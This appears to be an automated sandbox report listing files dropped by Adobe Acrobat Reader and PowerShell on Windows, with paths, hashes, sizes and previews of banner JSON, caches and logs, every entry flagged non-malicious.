SHA1:	762794079FCC769D05A4B9D9D38A4EA80FE2DA63
SHA-256:	656D455B46841E3ED88DF3D1EDC11850ACB638FEFE493CFDDDE9F56D09601B6B
SHA-512:	463B66EFEBDC79E9B86D0EBE2E350DC326FADAC62A9A79EDD7507DD9A1A0E45FCC1BDDAB981CAF5F0569275125B214F55DAF982A0CF7D2E90C335041086618B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.3126884524093185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJf+dPeUkwRe9:YvXKX7tSk+OWT5LjIP/nG28Ukee9
MD5:	7E66421C2EF55F56A5ABEC5FF105E3FF
SHA1:	5A43CCC33FECE964079CD58395F3C9A9528E8157
SHA-256:	B4962DE4140FF5E073CC67565EE7B022A98B37EEDA9CEEC53EBB6A7B724DFD33
SHA-512:	206D151BA87F956324F2B83E8F90D21044AC34CF3BE62037DBF486AD2F2FB184CF8F30E987684389041066EE2B284E9E54191C1947BA81D6257139551D862849
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.309854457941678
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJfbPtdPeUkwRe9:YvXKX7tSk+OWT5LjIP/nGDV8Ukee9
MD5:	822A4EE85891C59BE7E687E47CD14F85
SHA1:	05FC36288E48255F5AD88154BB1640038672EBCF
SHA-256:	939BEB533226CE8FA156ED415D7740510A3C559D02816C3794198E2C50966450
SHA-512:	8F77520EEC5D84A823AA0CD44DB8A846D39487D06AD3FDE2F9CDF683B9AEBD523244B04E33910087339FFB0EB722EBF6E8A1F4F0ED37141769A55125853BE7EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.302295419172448
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJf21rPeUkwRe9:YvXKX7tSk+OWT5LjIP/nG+16Ukee9
MD5:	3FC09E102DD1D0C5E0876C9B279F6F20
SHA1:	D20347A581ABF715D2A9794D0469614B7204F783
SHA-256:	172D4C5A4D0792526992354528B1801E0DEDF5A3DC961BBC53C017B2A613B15B
SHA-512:	FC34FC25F815A11FA9218996C83B3E5AD51B3767956A6BBCF19E3BE45EEC89C93BF8E8E6A9F78D03AE3EBBB9DFB6C6BE7B46D1CBD556F83D56A11F876681070A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.675715037002642
Encrypted:	false
SSDEEP:	24:Yv6X7tgT5XI3YamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS0:YvGEX4eBgkDMUJUAh8cvM0
MD5:	0A3C92D63EF392DF5D4ED75C01E98B53
SHA1:	2EC43C357280B159C293F0B2FE469E141809F472
SHA-256:	37B6E58CEEF6330EFF322B963A75DF6D17A79D763180DB6E45DBA6802BEF92C9
SHA-512:	C6A3B15213D6A8F91A0719D1097DD7290B82F4D429B7C91D05BEA523694CE1EEB2182DC1E7A5B791525482B07A12C9D7AB848DB0BD4D4E80559B273DBCC4664B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.27652900742515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJfshHHrPeUkwRe9:YvXKX7tSk+OWT5LjIP/nGUUUkee9
MD5:	6C2262C308C29CB819D6CA8C88AEC9D4
SHA1:	B15F34B2EFDA66CFB2704AA105F8F8500E7F02A6
SHA-256:	C26654B7DEDF68CB19BCA3483437E04050E777FB947D34E3ECF29370E80B23F5
SHA-512:	641A93B42BF022F95F9F31B3A007ACD786784648D8048D31056635640543A6BA6AAEB67E2593AC64EF4394FF065623AC9A59566B0889CB2713EBB2FFD53C593A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.277085628628079
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDrTtSkn+TC3mSg1c2LjcWkHvR0YzUoAvJTqgFCrPeUkwRe9:YvXKX7tSk+OWT5LjIP/nGTq16Ukee9
MD5:	07B1602FC56CC8E909CB1E14316E9B7B
SHA1:	DDD341FB3A5A0C745E33C4FA3DD80D97A38E8120
SHA-256:	F82B702F3D5BA85F97107D1D75A300F689ADBE8A075556BD91B12CF69639DEBE
SHA-512:	6A0983D59F1DD7C223B6E95E3F7CE77C9D09EE77B8845A0E5A1A696C3A4E0710825E6DC9CAFF85F60EB342504A7D4BDC82ADD17CD21AB5A8284FA69CF5A9E01B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4f9c2498-778a-4d62-b2f0-b93a4b046c05","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736723838689,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.148182208209451
Encrypted:	false
SSDEEP:	24:Y8eUjgonaxUayVzjtqHZ7xYQHUbWUQppcjhkcj0SDS4w/2dKSx2LSnCVX6ReiFIT:YZnBLa+uiMVxtgKReiFIzh6G29xK
MD5:	24A7F49C8DDBA42B597289998BA17680
SHA1:	FB5470652B2C068B026059E62D81741DF8A0CA70
SHA-256:	7AF6410B916144643B0DD54BFF615285D338B35F2C0200E9A0F4388281963032
SHA-512:	488AAF9AA5C916AE27C212F72C52ED4B0735A80191E9041EC218548FB7F0FC20C9F768B7330A0DD758CEC41BA2A64114CE12D20C74BD2171BDBC6FFF122DBDB3
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2c2a44816223d8a3bd2f41a49bb97059","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736545848000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"740722b1fdc0d6954041d449cfce1352","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736545848000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"482a2cca7f0966d82ee74974c0d790d9","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736545848000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c14375c45fb62bfdfd923cea0a3e0a0a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736545848000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ef73e1c36b05aef29c0c91cbb99d3921","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736545848000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"97190fef6e5b068bb9755a76e32a021d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3659415466248066
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuEOnXKdqEKfS8EKfM1baMOnF:Tll2GL7msMcKTlS8fcsuEOsfIMOF
MD5:	8B391AD786479932776FD78CE86BD69F
SHA1:	FEA703C2C198DE9B43DC1A5057E19E0948F7A20B
SHA-256:	2C16A0209720CED2F30BB39400AEE01D89EDBB09C9821BDD16DE2F38168C5812
SHA-512:	045CF15CBABD3B58F137899049AC4E9C6D5A3CCCB39869BEB1F347D32EB41E7CF985E65F570E58FE18B48D0DD03D3A56D156ED63B1A5F3C016D689CD95178E1A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8433661411178897
Encrypted:	false
SSDEEP:	24:7+tYZ6bqyKn6ylSTofcNqDuEOn+KdqEKfS8EKfM1banbqlqLKufx/XYKQvGJF7uv:7MmcKTlS8fcsuEOVfIAqGufl2GL7ms6
MD5:	2C2A8C0C35863C17B0414F2D804C0032
SHA1:	76037B04C35005DCB7DFF5177CB4A7E69B59798B
SHA-256:	15DBC4FB4E2F1ED8E673F4D05F64FF422107ED826019F8BC19E65EA1C277424E
SHA-512:	5310C7F3BA9717393B20E29345BF2A0B6B845216FF18B68B1C32F1C8D14ED10DA0718995EA857D658AEFC425BB054599694BA3E79E20B6C836DE25AA844143E8
Malicious:	false
Preview:	.... .c......;............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgwj9kgA10Vo/W84bowyOA7KIYyu:6a6TZ44ADEwjGgAmV8WuWIK
MD5:	678B65B4F366EC02E4BB5CFA4C3E880A
SHA1:	55EBD7C5BCAB9D3BD931DF8E66DC390681BFE1D7
SHA-256:	B485467F23C4D38B532DD1E5779CC98BEC99F8DE63ECF97EBCDF08DA92C4382B
SHA-512:	DA93E7BC41820368FDB0A5C54E5DD0AD189794538EE7356377961E1DA52221A85E7FFBA898B251CA98833E57FEB65EDE493174E5948A54613C3B3FEBDA9BDC98
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nllluldhz/lL:NllU
MD5:	03744CE5681CB7F5E53A02F19FA22067
SHA1:	234FB09010F6714453C83795D8CF3250D871D4DF
SHA-256:	88348573B57BA21639837E3AF19A00B4D7889E2D8E90A923151AC022D2946E5D
SHA-512:	0C05D6047DBA2286F8F72EB69A69919DC5650F96E8EE759BA9B3FC10BE793F3A88408457E700936BCACA02816CE25DD53F48B962491E7F4F0A4A534D88A855E6
Malicious:	false
Preview:	@...e.................................L..............@..........

C:\Users\user\AppData\Local\Temp\MSIf9335.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErN99:Qw946cPbiOxDlbYnuRK+bDrNX
MD5:	30F4D821A53D4DF58EA685A5451FB856
SHA1:	15AE5D0FCFDAA2CE68183E83EABC089941791058
SHA-256:	86BF740520323E2E316843E25CC106C4FBAE3D927AA3F2169346B72F21682452
SHA-512:	58EA3B7FBBC8073EE235436AFAFB22727B64F46A80E1726D35C5CCCE1E6E37AAC437DC0B723ABF1EE7796D500F3812BA6E9EE426FBF5E0DE683283508163B8EE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.5.0.:.4.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_01fcb0jh.i2z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1rmtzy2g.h4n.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-50-41-308.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.368754932600575
Encrypted:	false
SSDEEP:	384:8i8/UOVny9sCFKnMYap9wUFhSbzYBLnbxW62Asw5OHOyYTi0aLEQafazeQ5GBMsG:w4m
MD5:	C987EFF4D85E7162A679DDCA86FC8CE0
SHA1:	4DE6FCFC03210C1BA5981D014F246D55BEF19AFB
SHA-256:	DF01F5825F7FBD08B6788EC26BED9AD0FA737EED229E18A009F4618D916480F2
SHA-512:	DD7DA5A15387C06D1BE14728C3D827CB98C4F6D848AD61CBC4CB9B158B9C1C5687EDE22A3FBA84AF6B61DFC314A971AF9D2DEE96ACA7CC4832306FF999E507A5
Malicious:	false
Preview:	SessionID=19d4ee79-65f3-4924-a3f0-92f029ddcd6b.1736545841327 Timestamp=2025-01-10T16:50:41:327-0500 ThreadID=2752 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=19d4ee79-65f3-4924-a3f0-92f029ddcd6b.1736545841327 Timestamp=2025-01-10T16:50:41:328-0500 ThreadID=2752 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=19d4ee79-65f3-4924-a3f0-92f029ddcd6b.1736545841327 Timestamp=2025-01-10T16:50:41:328-0500 ThreadID=2752 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=19d4ee79-65f3-4924-a3f0-92f029ddcd6b.1736545841327 Timestamp=2025-01-10T16:50:41:328-0500 ThreadID=2752 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=19d4ee79-65f3-4924-a3f0-92f029ddcd6b.1736545841327 Timestamp=2025-01-10T16:50:41:328-0500 ThreadID=2752 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.375849879028765
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmC2cboI1NcbN:8qnXopZ50rGB1+
MD5:	56B2D91F8DF29E51ECC749142ACFC6A6
SHA1:	259CB5796FC31934733227956F432C95AFA1FDD2
SHA-256:	CB6F5410EF80D8F2E2A05071FB53ECAA2E2FEED8BEB69574590E0DC32E032D21
SHA-512:	2EB06881987E6E2C78564A80D5E9A03475609BD03F242789C9B448407B8FBB7D7A25D7D745AD1717D4814966838DF33C5ABB2EF6302C7F752851CDCE8EF254E4
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5499be58-fd5d-4639-a874-e3385b062cb4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c04fa79f-918d-4ffb-8ca8-81ddab8931d6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oSwYIGNPHGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxSwZGBGZn3mlind9i4ufFXpAXkru
MD5:	83861FA7ACFA3650A6004BB1FDC18F93
SHA1:	441DEF17B266EAFA0777308C02FEEC8272A0E0B8
SHA-256:	1A30A52C3CAA02993AB28CC870EA47311507D0121DD4FC90AE734FA8AC58E867
